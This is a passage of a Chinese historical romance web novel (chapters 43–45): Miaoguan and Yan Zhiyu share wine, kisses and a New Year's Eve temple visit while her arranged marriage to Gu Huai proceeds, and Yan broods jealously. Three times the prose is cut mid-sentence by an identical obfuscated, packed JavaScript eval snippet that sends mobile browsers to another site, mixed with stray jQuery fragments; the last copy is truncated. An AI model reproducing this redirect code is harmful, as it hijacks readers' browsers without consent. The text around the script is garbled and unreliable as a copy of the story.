的回忆忽然魇住一样。但这异样在短短一息,便消失得无影无踪。 燕之郁唇角勾起一抹浅淡的笑意,道:“妙观,我运气尚可,并未遇到过这种事情。” 何妙观心中疑窦更深。倘若燕之郁过去没有这样的经历,那解锁的故事,难道是未来才会发生的? 思绪纷乱间,酒垆的侍者端着一壶新烫的酒走进来。 “燕郎君,你喝吧,我不喝酒。”何妙观将温好的酒壶轻轻推到他面前。 燕之郁却执起壶,为她斟好半杯淡粉色的酒液,唇角含笑,哄道:“妙观,这是我为你特意选的甜酒,不烈不呛,最适合冬日暖身子。你尝一口,就一口,很好喝的。” 何妙观拗不过他,低头浅啜一口。清甜的果香伴着温润的酒气在舌尖化开,这是她来到这个世界后,难得觉得顺口舒心的酒味。 “是不是很好喝?”他漂亮的眼眸因含着笑意,像春夜柔软的湖泊。 何妙观点点头,将杯子推回去:“嗯。你也喝。” 燕之郁摇头道:“不行。倘若两个人都喝醉的话,妙观,谁带你回去。”他微微一顿,轻声道,“况且,我不擅长饮酒,醉后模样可不太好。” “啊?怎么不好?”何妙观好奇地问道。 他故作沉思,半晌才道:“大抵会闹些笑话吧。” 他素来体面,何妙观实在想象不出他失态的模样,故意道:“哦——我看你是怕酒后吐真言,说些不该说的,比如……其实并不喜欢我、心有他属之类的话。” “妙观,你怎么能这般想我?”燕之郁闻言失笑。他接过酒杯,认真道,“那我喝便是。若我真的喝醉,妙观,你可要负责把我带回去,不能丢下我。” “好呀。我保证把你好好带回家。”何妙观笑眯眯地看他,把酒盏一推,“这一壶全都归你。” 他就着她饮过的杯沿,仰头将杯中残酒一饮而尽。酒意漫上脸颊,晕开一片薄红,衬得他精致的眉眼愈发秾丽。何妙观看着他,只觉得他此刻蛊惑又可人,忍不住伸手抚上他发烫的脸颊,顺势倾身印下一个轻柔的吻。 蜻蜓点水般的触碰点燃少年的欲望。 燕之郁伸手揽住她的后腰,将她拉到腿上。 何妙观垂下眼,撞进他幽深浓黑的眼眸。烛光在瞳孔中碎成点点金芒,又因眼眸中氤氲着一层薄醉的水光,像雪夜寒潭里倒映着星火。少年并未立刻吻上来,只是凝望着她,温柔的目光从她轻颤的睫毛,缓缓滑到微微张开的唇瓣上,流连不去。 何妙观被他看得心尖发烫,忍不住道:“你、你要亲就亲吧。” 他喉结微动,仰头覆上她的唇。 温热的唇瓣带着甜酒的余香,缱绻深入。片刻后,他含住她的下唇,轻柔地吮|吸着,舌尖描摹着她的唇形,温柔地探入。 清甜的果香,凛冽的雪气,以及他身上干净清爽的香薰味交织在一起,令人眩晕。 何妙观不自觉地闭上眼,双手环住他的身子,感受着他唇齿间的温热。他揽在她腰后的手臂便收得更紧,将她整个人圈进怀里。 窗外雪落无声。 43.四十三 除夕夜,扬州城灯火如昼。 在府中用过年饭后,何府一行人便相携前往城郊的平福寺祈福。靛蓝的夜幕中,时不时绽开绚丽的烟花,将百年古刹映照得恍若琼楼玉宇。 平福寺里人潮涌动,善男信女手持着琉璃灯盏,在大榕树下虔诚祈愿。 据说此处的琉璃灯盏极其灵验,燕之郁便从小沙弥处买下两盏,将其中一盏递给何妙观。 以往他在长安时,每年除夕夜,往往是入宫赴宴祝酒,即便空闲,也从没有在寺庙祈福的习惯。一方面是因为他不信鬼神,另一方面是因为若是去长安最富盛名的普渡寺,难免会遇到熟人,人家携家带口来祈福,他孤身一人,看上去怪可怜的。 虽然他也不在意这些。 燕之郁提笔蘸墨,思索片刻后,在祈福的红纸上写下:“唯愿妙观岁岁安康,此生顺遂无忧。” 再过两个月,便是何妙观的生辰。 他虽然不信占卜,但依旧心悸陆黎的卜算会一语成谶,女郎活不过十七岁。 写罢,他将纸条仔细折好,放进琉璃灯盏中,侧头看向何妙观。 何妙观正低头专注地写着字,神情认真异常。燕之郁凑过去,看到一列和他有关。 “愿燕之郁长命百岁,常乐常欢。” 他心下微动,犹豫片刻后,将叠好的红纸重新摊开,另起一列写道:“愿与妙观,朝夕相伴,此生不再分离。” 两人将琉璃灯盏挂在寺庙中的大榕树上,暖黄的烛光透过琉璃,在少女少男的脸上投下柔和的光晕。夜风拂过,灯影摇曳,和漫天绚丽烟火交相辉映。 燕之郁望着她专注系灯的侧影,唇角不由漫起浅淡笑意,情难自抑,俯下身在她额角落下一个蜻蜓点水的吻。 何妙观微微一怔,尚未反应过来,不远处传来一声清晰的呼唤:“妙观?!” 竟然是顾徊。 燕之郁直起身,眸中的温柔褪去,烦躁地蹙起眉。 何妙观想起刚才的亲吻,不由有些面红,松开攥着他的衣角的手,道:“顾徊,好久不见。” “嗯,确实很久不见。”顾徊微微弯唇,“妙观,我有些话,想和你单独说,可以么?很快就好。” 何妙观猜测顾徊要说的话应当和任务相关,便点点头,侧过身同燕之郁道:“燕郎君,你在这等我,我马上回来。” 当着他的面去找顾徊吗? 他怎么可能答应。 燕之郁冷冷瞥顾徊一眼,攥住何妙观的手,软声央求道:“妙观,你说过今日要一直和我在一起的,不可以反悔。” 何妙观看着他眼中水盈盈的样子,心中微软,但不及开口,顾徊竟先一步道:“妙观,我要说的事情其实不要紧的。若你今日不方便,我改日再来你家拜访便是。” 何妙观微微一怔,看向顾徊。少年坦坦荡荡地回望过来,眼眸沉静,明明他们只是一个月不见,但顾徊看上去竟成熟不少。 顾蕙仙说,顾徊被顾捷罚禁足一个月,在家反省。难道是因此才变成这样的? “顾徊,你还是今日直接说吧,免得日后再跑一趟,也不方便。”迟疑片刻,何妙观缓缓抽出手,“燕郎君,你在这等我,我很快就回来的。” 禅房里檀香袅袅。 “妙观,吏部的文书昨日下来。说最迟明年四月,我便要去长安领职。”顾徊正色道,“所以,顾捷说,我们家会在三月前向何徵提亲。” 何妙观好奇道:“顾徊,你怎么说服顾通判的?” “其实主要是蕙仙在出主意。”顾徊不知想到什么,略显局促地移开视线,声音嗫嚅,“但是蕙仙说……要向你保密,具体是怎么回事,我不能告诉你。” “哦,这样啊。”何妙观心中有点疑惑,但想到顾徊马上就能完成任务,不由衷心为他开心,笑着道,“无论如何,能完成任务,总是好事。顾徊,恭喜你。” “妙观……”顾徊轻叹一声,恳切道,“说实话,我真希望你的任务我也能帮上忙……但目前看上去,我好像只能回到那个世界,帮点那边的忙。” 何妙观眨眨眼,笑道:“嗯。你回去后,千万不要忘记好好打周子叙一顿。” 顾徊立刻郑重承诺:“一定的,妙观。我肯定让他好好躺上一段时日……等你任务完成,也回到那个世界,我再请你吃饭,或者,你有什么想要的礼物,告诉我,我给你买。” “等我回去再说吧。”何妙观无奈笑道,“我这个任务,不知道什么时候才能完成。” 话到此处,两人都静默下来。安静中,桌上的烛火发出噼啪的响声。 顾徊欲言又止。 何妙观见他还有心事,便柔声道:“顾徊,你若是还有什么顾虑,不妨直说出来。我既然决定帮你,自然会尽力周全,毕竟‘送佛送到西’。” 顾徊这才艰难地开口:“妙观,我知道你的任务和燕之郁有关,但是……顾捷对这桩婚事,其实本就不是十分赞同。尤其是因为燕之郁如今还……住在你家。” 他微微一顿,面色有点尴尬,“等到我们家提亲后,妙观,能否请你在旁人面前,稍加避忌,不要和他过于亲密?我、我担心顾捷看到,又要横生枝节,悔婚也不一定。” 何妙观一时沉默。 顾徊见状,忙道:“呃……妙观,对不起,就当我说吧。” 何妙观这时却轻轻点头:“好。你提亲后,我会注意和他保持距离的。” “谢谢你,妙观。等你回去,我一定要好好感谢你。”顾徊虽说着,但面上并无笑意。 他就是再迟钝,刚才在榕树下看到那样的一幕,也能知道何妙观和燕之郁的关系,显然不是什么为“完成任务”刻意的接近伪装。 两个人分明就你情我愿,浓情蜜意。 他心里自然是不高兴的,明明他认识学姐更早,却让燕之郁抢先一步。但转念一想,何妙观终是要回到那个世界的,等学姐成功回去,世上便再无燕之郁这一人,他也能名正言顺地追求何妙观。他相信日久生情,学姐终究会明白他的心意的。 == 清泉悄步穿过回廊,在榕树底下寻到独立许久的燕之郁,轻声道:“公子,他们在禅房谈的是……提亲的事。顾徊说,顾捷明年三月前会上门提亲。” 琉璃灯盏在夜风中轻轻摇曳,映得少年的脸明暗不定。良久,他才淡淡道:“退下吧。” 燕之郁重新走向卖灯的小沙弥那,又买下一盏素净的琉璃灯,拂袖在桌前坐下,提起笔,在洒金红笺上写下一列墨迹深重的咒怨。 “愿妙观此生此世厌恶顾徊。” 写完后,他将纸条折成方胜,塞入灯中,亲手将花灯挂在树枝上。 “燕郎君,你怎么又许愿?”恰在此时,何妙观的声音从身后传来。 燕之郁回过头,女郎三步并作两步小跑到他身边,一把抓住他的手:“你刚刚新许的是什么,让我看看。” 他侧身避开她的视线,轻声道:“妙观,不过是寻常心愿而已,没什么好看的。” “嗯?什么寻常心愿?”何妙观反倒愈加好奇,踮起脚想要去摸花灯,但花灯悬得高,她碰不到,只好扯住他的衣袖,撒娇道,“燕之郁,我想看,我想看,你帮我拿下来。” 燕之郁纹丝不动,平淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16642101|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“不行。拿下来就没办法实现的。” “那你告诉我是什么。” “不告诉你。”燕之郁摇摇头,少见地坚定。 何妙观这才察觉他情绪不对,想起方才见顾徊前他的异样,便不再纠结于花灯的事情,转而道:“燕郎君,听说外面有一家铺子的糖葫芦特别好吃,我们去试试。” “好。”他柔声应道。 铺子前的队伍蜿蜒,灯笼在飘起的细雪中晕开团团暖光。 何妙观买下一串山楂,吃下一颗后,将剩下的山楂递到他唇边:“哇,燕郎君,你尝尝看,真的好好吃。” 燕之郁垂眸接过,薄唇轻启,糖壳在齿间碎裂,酸甜味在唇舌间漫开。 “嗯。很好吃。” “好吃的话,燕郎君,你笑一笑呀。” 少年长睫染雪,鼻梁高挺,唇色如丹。何妙观忍不住戳他柔软艳丽的面颊。 话音刚落,漫天烟火轰然绽放,墨蓝色的天幕顿时流金溢彩。璀璨光华倾泻而下,照亮少年低垂的眉眼。 他被这突如其来的光亮晃得微微眯眼,片刻后,终是轻轻弯起唇角。笑容如春冰初融,眼角眉梢都染上朦胧的温柔。 “多笑笑。”何妙观踮脚拂去他肩头的落雪,“燕郎君,你笑起来,特别好看的。” 雪粒簌簌地落在他鸦羽般的眼睫上,将艳丽面容衬得如同雪堆玉砌。他抬起眸,忍不住问道:“妙观,你们什么时候要成婚?” 何妙观一怔,抬眼看他:“你刚才,在偷听我们说话?” “我没有。”他语气平淡地撒着谎,“但猜也猜得到,顾公子这么急不可耐地找你,定然是商议婚事。” “哦,你生气是因为这个?”何妙观凑近半步,打量着他。雪粒落在他浓黑的眼睫上,让他整个人如同雪堆作的玉人一样。 “嗯。”燕之郁垂下眼帘,声音沉闷,“我方才越想越觉得,我只是你成婚前,供你消遣的玩意。妙观,你不能这么对我。” “燕郎君……”何妙观不知怎么解释,低声道,“但我一开始就告诉过你,我是要同顾徊成婚的。你那时说,即便那样,也愿意和我在一起。” 燕之郁沉默不语。 当时他是想,不过是逢场作戏而已,何必当真,他也总归是要回长安的。 可今时不同往日,心境早已大不相同,他现在只觉得悔恨和挫败。 早知道这样,他最初便不应该让她接近自己。 少年久久不语,面容在雪光的映照下显得愈加苍白。何妙观叹了口气,牵起他的手,引着他绕过香火鼎盛的大殿,走到后院一株积雪的梅花树下。 此处僻静无人,唯有细雪落在枝头的簌簌声。 何妙观双手环住他清瘦的腰肢,仰起脸,柔声道:“燕郎君,我答应你,未来一定会与顾徊和离的。你相信我。” 燕之郁还是不语,咬着唇,含怨地看着她。 “而且……”何妙观踮起脚,唇瓣蹭过他的下颌,“你明明知道我最喜欢你。” 燕之郁身体一僵,轻声道:“嗯,但是妙观,你为什么……” “哎呀,你要是这都不愿意等我,那说明你也没有很喜欢我。”何妙观害怕他又问自己“为什么非要和顾徊成婚”,连忙先发制人。 雪花落在两人交叠的衣襟上,他的喉结轻轻滚动。 何妙观踮起脚尖,在他微凉的下巴上落下一个轻如雪片的吻:“燕郎君,你相信我。” 许久,他才低声开口,气息拂过她的额发:“好。我等你们和离。” “但妙观,你得告诉我,最晚要到什么时候。 ” 44.四十四 “最晚的话……”何妙观犹豫片刻,迟疑着道,“具体时日我说不准,但我可以保证,不会太久的。” 燕之郁心底并不信这种话,只觉得是在哄骗他,榨取他最后一点可供玩弄的价值。但被这般温言软语地哄着,竟然生不起气,心中方才的郁结也慢慢散去。 他点点头,再度道:“好,妙观,我会一直等你到同他和离的。” 何妙观这才松一口气,满意地笑出来。 “一会我们去哪?”他又问。 “继续留在平福寺,等敲钟跨年。” 北梁国过年的习俗和现代社会很像。除夕这夜,并不宵禁,稍稍有名气点的寺庙还会撞一百零八下钟声,有为天下百姓祛除烦恼之意。平福寺自然也有此项习俗。扬州城不少人都会等到听完敲钟、许完愿才走。 时候还走,二人便决定去马车内休息一会。 长街两侧灯火如昼,随处可见依偎同行的恩爱夫妻。燕之郁目光掠过一对为妻子簪花的郎君,忽然停下脚步,指尖拂过何妙观的鬓边,轻声道:“妙观,你头发有些乱,一会我给你重新绾一个吧。” 何妙观抬手一摸,果然簪子略松,碎发垂在耳侧:“好呀。” 他便牵着她登上马车。车内有暖炉,暖意融融的,隔绝了外面的寒冷。 燕之郁坐在她身后,小心翼翼地解下玉簪,顷刻间,乌黑的长发如瀑泻落。 少年修长的指尖穿梭在发间,动作轻柔,小心翼翼的。片刻后,他递上去一面小铜镜,笑着问道:“妙观,你看看,喜不喜欢?” 镜中的发髻款式精巧而别致,像顶着一片墨云。何妙观忍不住点头夸道:“好看。你是从哪里学的?” “小时候阿娘就梳这种头发。”燕之郁唇角微弯,笑眯眯道,“妙观,这是新妇才用的样式。” 何妙观脸颊倏地绯红,抬手轻捶他肩膀:“燕之郁!” 他笑着将她揽入怀中,下巴轻蹭她的发顶,含笑道:“妙观,你不喜欢的话,我重新再绾一个便是。” 何妙观迟疑一会,没有说话。 燕之郁便又故意道:“妙观,所以你是喜欢的,对不对?我也喜欢你这个样子。” 何妙观轻轻拽住他落下的碎发,也说要给他编一个。 笑闹一阵后,两人不由都有些疲倦。何妙观便靠在他怀里小憩,暖融融的怀抱让她的意识渐渐昏沉。 燕之郁垂下眸,安静地注视着她恬静的睡颜。他神游着,想起顾徊,也想起方才长街上亲昵的夫妻。 未来何妙观和顾徊成婚,想必也会这般耳鬓厮磨,甚至还可能更加亲密,做一些独属于夫妻才做的事。一想到这里,他便觉得有钝刀在脏腑间慢慢碾磨。 杀掉顾徊。毁掉这一桩婚事。 但是…… 他又想起陆黎的占卜。倘若顾徊的命格当真有助于她,毁掉这桩婚事,岂不是故意残害她。 燕之郁越想越觉得无解,闷痛蔓延,心口像是被细针扎过一般。 不应该是这样的。 他怎么能因为这种小事,心绪如此波动。 他这一生,又不是非要拘泥情爱不可。 窗外隐隐传来人群的欢呼,子时将近。燕之郁垂下眸,看着依旧熟睡的女郎,指尖轻抚上她的唇瓣,柔声道:“妙观,醒醒。” “唔……”何妙观睡眼惺忪,依旧半睡半醒。迷迷糊糊间,被他牵着手走下马车。直到凉丝丝的细雪落在她的脸上,融化开,她才彻底清醒过来。 平福寺内依旧人流如织,满树的琉璃灯盏在夜风中轻轻摇曳,一派火树银花的艳丽之景。 燕之郁牵着她穿过人群,顺着曲曲折折的小路,踏上后山僻静的高台。这里人烟稀少,视野极为开阔,不但能看见近处的古柏覆雪,远处的画舫笙歌隐隐,还能看见底下,整座江都县通明绚丽的灯火。 “咚——” 第一声钟鸣自山顶传来,浑厚悠远,震得松枝上的积雪簌簌掉落,化作银白的珠帘。紧接着,钟声次第响起,涤荡尘寰。夜空中骤然绽开万千烟火,金紫流光将女郎仰起的侧脸照亮。 “燕之郁,还愣着干什么,快许愿呀!” 何妙观见他发呆,连忙催促着。说完便闭上眼,双手合十,口中念念有词。 燕之郁没有依言阖眼,宁静地注视着她。烟花明灭下,女郎长睫弯翘,瓷白的鼻尖冻得微红,因垂眸时有怜悯之色,像一尊被鎏金光晕笼罩的玉像。 他凝望许久,直到钟声渐稀,才仓促闭上眼睛。 因为心底醋意和忌心作祟,他赌气不再许和她有关的愿望。 和该如此的。 他应该祝自己将来能够实现那些更远大的志向,官运亨通,权倾朝野。而不应该像写祈福红纸时那样,专门许一些无关紧要的事情。 最后一记钟声落下,余韵缓荡。何妙观依旧没有睁开眼,仍旧一副虔诚许愿的模样。 他看着她淡红的唇瓣,趁此俯身靠近,轻轻覆上去。感受到糖葫芦残留的酸甜气息,以及冬日空气的微凉。 何妙观长睫轻颤,睁开眼眸。绽放的烟火在她明亮的眼瞳中流转,有若漫天星辰。她面色通红地望着他,少年近在咫尺的眼底里,倒映着同样的绚烂烟火,以及她含笑的脸颊。 “我喜欢你。燕之郁。”她含糊不清地说着。 燕之郁松开她,含笑道:“我也喜欢你,妙观……再多亲一会吧。” 何妙观笑起来,眉眼弯弯,伸手环住他的脖颈,紧贴上去,感受着他蓬勃有力的心跳,和她的心跳渐渐合拍。 飘摇的雪花落在他们的发鬓和衣袄上。 烟花爆裂声远去,高台短暂地陷入昏暗,但片刻后,新的烟火又接连绽开,将他们的身影映在石砖上。 寥落天地间,仿佛只剩下彼此的心跳,相拥的暖意,以及唇齿间交换时带着糖霜味的甜腻呼吸。 分开后,何妙观好奇地问道:“燕郎君,你方才许的是什么样的愿望?” “妙观,愿望说出来会不灵的。” “就知道你会这么说。”何妙观撇撇嘴,但也没逼迫他,“那有没有一个和我有关?” “……嗯。” 燕之郁别过脸,心底后悔起来。 若是方才诚心祈愿“愿妙观永伴身旁”,该有多好。他为何偏要赌气许一些莫名其妙的愿望。 “我也许的和你有关。”何妙观低下头,小声道,“说不定我们心有灵犀,许的差不多呢——时候不早,燕郎君,我们回家吧。” 燕之郁咬着唇,站在原地没有动。 “你还有什么事么?”何妙观问。 他郑重地合十闭目,重新许愿。 何妙观见他这般模样,忍不住轻笑着打趣:“燕郎君,你好贪心啊。” “嗯,我想要的有很多很多。”他睁开眼,眸中映着雪光,“妙观仙子,你这么厉害,帮在下实现好不好?” “可以。”何妙观顺势道:“本仙今日心情好,小郎君,你且说来听听,若是不违背良俗,我便助你一臂之力。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645647|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙观仙子,我的心愿是……”少年一字一顿,认真道,“愿妙观此生此世,永远钟情于我。” 何妙观一时语塞,愣愣地看着他,片刻后,同样一字一顿地回道:“本仙会帮你实现的。” == 新春这些时日,何妙观随着何徵和陈寄柔辗转于顾家、陆家等交好的世家,拜年应酬。宴席间过后,长辈们多是继续喝酒聊天,年轻女郎们则聚在暖阁里玩叶子戏。 红梅映雪,熏香袅袅,一派和乐融融的景致。 “再过不久,妙观可就要改口叫我小姑咯。”顾蕙仙打出一张牌,笑道。 “哇哦,这么快?”陆怀翡惊讶道,“蕙仙,你们家何时下聘?” “估计就这两日。” 陆怀翡忍不住问:“妙观,你的小郎君该如何处置?总不好带着他嫁过来吧?” 何妙观执牌的手微微一顿:“他……” “又不是不可以。”顾蕙仙抢先打趣道,“就当作通房丫……呃,通房小郎?” “顾蕙仙!”何妙观气急败坏地去挠痒,“你胡说八道什么呢!” “哎呀,哎呀!饶命啊小姑!”顾蕙仙连忙求饶,“不过,妙观,我真好奇,他要是知道你和我阿兄成婚,会是什么表情?他会不会哭哭啼啼呀?” “其实他一开始就知道的。”何妙观轻声道。 顾蕙仙、陆怀翡不约而同地惊讶出声:“什么?” “我一开始就和他说过的。”何妙观再度道。 “妙观,你之后你打算如何对待他?”片刻后,顾蕙仙问,“我看何伯伯,似乎真的很有心培养燕郎君。未来……何伯伯会不会把他收为养子啊?” “呃……这个……”何妙观当然不能说出“待顾徊完成任务便和离”的实情,含含糊糊道,“我不清楚。看阿父之后什么打算吧。” 晚间回到何府后,没多久,燕之郁便和往日一样,来厢房里找她。少年进屋后,迫不及待地抱上来,俯身亲吻她的面颊,委屈巴巴地问道:“妙观,你今日去顾府,是不是一直和顾徊在一起。” “没有。我今天在和蕙仙、怀翡玩叶子戏。”何妙观伸手想拂去他肩头的落雪,却被他轻轻握住手腕。 “我不信。”他长睫微垂,语气执拗,“妙观,你肯定是去见顾徊。” 何妙观瞧他这副模样,忽地意识到他是故意卖惨装可怜,只好轻点着他微蹙的眉心,故作苦恼道:“哎呀,这可怎么办才好?呜呜呜……燕郎君要怎样才肯相信我?” “妙观,很好办的。”他俯下身,声音压得低低的,“你亲我一下就好……但要亲这里。”说着,指尖轻点他的唇瓣。 “那你坐下。”何妙观指着旁边的美人靠,“还有,一会手不许乱动。” “嗯。我不会乱动的。”燕之郁乖巧地坐下来,仰头望着她,摇曳的烛光在桃花眼里流转浮漾,双眸有若一汪晃动的春水。 何妙观俯身轻轻贴上他的唇。本想一触即分,但是他的舌尖却撬开她的齿关,滑进来,扫过她的上颚,又缠绵地勾住她的舌尖,若即若离地厮磨着。屋内水声啧啧。 许久,燕之郁才依依不舍地松开,声音沙哑:“妙观,我现在还是不信,怎么办……你再亲亲我。” “不可以耍无赖!”何妙观气息微乱,坚定地摇头,“而且,我刚刚说,你不许乱动,你犯规。” “妙观,你刚刚只是说手不许乱动……我也很听话地没有动。”燕之郁委屈巴巴地看着她,“看在我这么乖的份上,再亲我一下吧。” 45.四十五 正月刚过,顾捷果然来何府拜访,谈起当年的娃娃亲,显而易见是要撮合二人成婚的意思。但何徵并未立即应下。 顾捷走后,何徵在书房踱步良久,对陈寄柔叹道:“顾家门第固然清贵,顾徊也是个稳妥的孩子,有才华,前程可期。只是,一想到囡囡要随他去长安,山高水远,我这心里便空落落的。” 他沉吟片刻,又道:“反观小燕郎君,虽出身差些,但他入赘我们家,如此囡囡便能长留扬州,承欢膝下。” 陈寄柔知他爱女心切,温声劝道:“既然是终身大事,不若问问囡囡的意思?” 何徵颔首,二人便一同去了何妙观房中。何妙观听罢,当然毫不犹豫选择顾徊。 何徵愕然道:“囡囡,这些日子,你待小燕郎君这般亲昵,如今选顾家,那他……”何徵忽地有点看不懂自己的闺女,片刻后,轻叹一声,“也罢。但你若决意应下顾家的亲事,往后便需谨守分寸,不可再与小燕郎君亲昵。此事到底关乎两家的颜面,阿父和敏行也有多年交情,实在不愿因此生出芥蒂。况且,你若日后仍与小燕郎君亲近,对他何尝不是一种折磨?” “阿父,我知道的。”何妙观乖巧地点点头,“等到定下亲事,我肯定会注意言行,不再同他见面。” 两家的婚事便正式操办起来。纳采、问名、纳吉、纳征、请期,六礼依序而行,最终卜得三月二十八为大吉之日。 纳采后,何妙观便不再当着众人的面和燕之郁相见。燕之郁自然知道是婚事的缘故,大部分时间也便呆在扬州府,处理李循的事情。修水渠北调之事,他心中已有合适的人选,这些日子着手收尾工作,为接下来回长安做打算。 屋中,一蓝一绿两只鹦哥叽叽喳喳地闹着,好不亲昵。燕之郁托腮逗弄了一会,收回视线,看向清池送来的字条上。 不久前,他因为问名礼得知顾徊的生辰八字,便一时好奇,吩咐清池寻人合算顾徊的命格是否真如何妙观所言那般旺妻。但批语很快送回,上面写着:“二人八字无冲无克,无生助之象,乃中平之合。” 其实燕之郁一早就有算顾徊命格的打算,拖延至今,是因为心底隐隐约约察觉到,何妙观所言的“命格相合,非嫁不可”,或许只是托词。 得到这个结果,他倒不觉得愠怒,只觉得可笑。 他想,何妙观不愿意和自己在私奔,大抵还是因为最初提及过的原因。顾徊家世不错,又是今年的探花郎,前程无量,他们又有青梅竹马的情谊,怎么看都是如意郎君,所以才一心想要嫁给他。 至于他,不过是婚前的玩物而已。 想到他们婚后耳鬓厮磨、琴瑟和鸣的事情不会少做,燕之郁不由感到一阵厌烦,周身戾气。 清池和清泉看出他的躁郁,只敢敬而远之。 “清池,你觉得公子接下来会怎么做?”清泉扯着清池的袖子,蹲在廊柱后窃窃私语,“我觉得,公子多半要直接回长安……临走前,说不准还会让何家和顾家吃点苦头。” “我到不这么觉得。”清池摇头道,“以公子的性格,怎么会这样善罢甘休……我觉得公子肯定会直接阻碍他们的婚事。” “可是公子若想,早就能动手吧?”清泉不解道,“顾家对公子来说不是难事。” “也对……”清池闻言,也有些困惑,“估计公子在想,何小姐对他到底是什么态度吧?若是何小姐对他没有喜欢到非他不可,公子肯定觉得,阻碍婚事,何小姐也不见得就会一直和他在一起。” “可是,何小姐一看就知道,没有很喜欢公子。”清泉嘟嘟囔囔道,“若真是喜欢,怎么会愿意和顾徊成亲。” 清池道:“毕竟旁人眼中的‘公子’,家世、前程确实比不上顾徊。” “清池,何小姐真有这么好么?”清泉惦记着行刺时因为何妙观才受的伤,很是不悦,“公子连长公主都看不上,为什么喜欢何小姐。长公主可是名动天下的大美人……” “你这榆木脑袋!”清池气笑,戳他的额头,“感情是看感觉的。况且,以公子的地位,肯定只想要一个真心相悦的人。再说,你觉得公子愿意给长公主做面首?若不是看在圣上的份上,公子对长公主态度肯定比现在还差。” 清泉小声道:“可公子初来何府时,不也是当清客么?那和面首没区别吧?” “呃……”清池一时语塞。 “清池,你觉得公子会不会死遁啊?”清泉又问,“我看话本上被辜负的女郎都是假死脱身,留负心汉痛悔一生。” “一旦死遁,便毫无转圜的余地,此生再难相见。”清池摇着头蹙眉,“所以,公子肯定不会死遁。” “那公子会不会坦白身份,逼迫何小姐和他成亲?” “可这样的话……何小姐知道受骗这么久,应该不会像现在这般对待公子,说不定还会心生厌恶,死也不从。我们公子,真是进退两难呀。” == 是夜。东院。 啪嗒,啪嗒。靠内墙的窗户被人从外叩响。 阿葵去门外小心地左顾右盼一番,见周遭寂静,才回去小心翼翼打开窗户:“进来吧,燕郎君。小姐在等你。” 虽然白日里当着众人不便见面,但夜深人静时,燕之郁便会悄悄翻窗进来。 何妙观窝在窗下的软榻上,就着烛火看话本。见他翻窗进来,笑着起身,走上前环住他的腰问道:“听说你这些天每天都在官衙呆到很晚才回来,是徐侍郎有什么事情安排给你吗?” “嗯。”燕之郁解下披风,“他说我接下来要跟着他一起去长安,所以每日都命人来教我新的事务。” “听上去他人还行。”何妙观少见地夸了一嘴。接着,指指桌案上一碟新巧的点心,“这个芙蓉酥,很好吃,燕郎君,你快试试。” 吃完后,两人一同在软榻上坐下,何妙观偎进他怀里继续翻书。 其实每晚见面,何妙观总有种淡淡的心虚。但是,自己是为帮助顾徊完成任务才答应成亲,顾徊也知道他们的事情,应当算不得欺骗吧…… 毕竟,未婚夫都没说什么,旁人便更没资格指责。 燕之郁看见她纠结的神色,故意撩拨道:“妙观,我每晚这样来找你,是不是很像你的情夫。” “燕之郁,你胡说什么!”何妙观连忙放下书,捂住他的嘴,“我现在……至少现在,我还没有成婚,哪来的情夫?” “未婚夫婿也算夫婿的。”他拨开她的手,戏谑道,“妙观,我这般与你深夜相会,若是被别人看见,不是情夫是什么?嗯……姘头吗?还是顾公子说的什么……‘小三’?” “燕之郁!”何妙观瞪他一眼,放松身子靠进他怀里,拿起话本,“既然你赶着要当不清不楚的人,我也不拦着你……现在,我要看书,你也找点事做吧。” 燕之郁见她躲闪,含笑凑近道:“妙观,我也想看,你念给我听。” “才不给你看。”她将脸半埋在书页后,“你拿一本别的。” 燕之郁只好伸手向榻边的书堆里探去,指尖触到一本藏在话本下的硬册,他觉得奇怪,便抽出来。 竟是描绘夫妻房|事的册子,封面上的图画极是露骨直白。 燕之郁动作一僵,默然将书塞回去。 何妙观这才意识到他拿的是上回从顾蕙仙那借来的书。 “燕郎君……那个、那个是蕙仙落在这的。”何妙观心里一边对顾蕙仙说对不起,一边小声解释。 “哦。”燕之郁闻言,眸色暗沉下去。 他在长安呆那么久,自然知道高门嫁女的习俗。成婚前,会有教习嬷嬷送来这一类的图册,引导新妇知晓人事。顾蕙仙作为顾徊的妹妹,抱着什么样的意图把这些书放在这里,不言而喻。 想到不久后,何妙观和顾徊也将如此亲密,甚至孕育子嗣,心中的忮忌夹杂着恨意,让他不由收紧手臂。 不如明日就返回长安,永不再见这个玩弄他感情的人。 可转念一想,何妙观尚未过十七岁的生辰,陆黎的谶言便如同悬顶之剑一般,让他无法安心离去。 少年垂下眸,咬着下唇,一时不知道该如何是好。 那个念头再度冒出来。 阻止这桩婚事。 “燕郎君,你在想些什么?”察觉到他情绪陡然低落,何妙观放下话本,伸手轻戳他的脸颊。 “我在想……”燕之郁抬起眸,摇曳的灯火映得他眼底情绪复杂难辨,“妙观,你们成婚以后,会想要孩子吗?” “……啊?”何妙观彻底愣住,面色绯红,狠狠掐住他的脸,“燕之郁!你脑子里都在想些什么啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 